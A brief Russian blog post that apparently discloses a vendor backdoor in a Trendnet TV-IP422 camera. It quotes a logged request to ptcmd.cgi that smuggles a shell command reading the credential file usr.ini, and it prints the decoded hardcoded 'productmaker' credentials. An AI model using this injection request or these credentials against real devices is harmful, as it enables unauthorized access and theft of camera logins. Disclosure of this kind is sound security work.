Как меня Trendnet 2ой раз обманул
Первый раз дело было в начале 2012 года. Я счастливый обладатель камеры TV-IP422, столкнулся с проблемой анонимного доступа к камере, Trendnet «оперативно» выпустила новую прошивку в которой данный баг фиксится.Сегодня обнаружил странное поведение камеры, посмотрел логи транслирующего её nginx и был удивлён ещё раз.В куче попыток проникнуть в phpmyadmin камеры вижу следующее…
171.25.193.235 — productmaker [26/Mar/2015:02:22:19 +0300] «GET /cgi/maker/ptcmd.cgi? cmd=%3E/dev/null; cat%20usr.ini HTTP/1.1» 200 146 »-» «curl/7.41.0»
Данного пользователя в камере не было создано.пробую открыть данный URL без авторизации… — получаем 401После авторизации я вижу следующее
admin=Basic YWRtaW46bXlfc3VwZXJwYXNzmaker=Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl
После не хитрых манипуляций с Base64 получаем.
admin=Basic admin: my_superpassmaker=Basic productmaker: ftvsbannedcode
Попытка авторизации под логином productmaker на самой камере (имеется ввиду административная часть) не увенчалась успехом, зато можно открыть URL указанный выше, из этого я могу сделать вывод, что это сознательно оставленная «закладка» от компании. Спасибо им за это.
Из данный статьи каждый делает для себя свои выводы, однако в моих глазах производитель окончательно потерял лицо.Спасибо за внимание.
статьи на тему — Infotect предупреждает
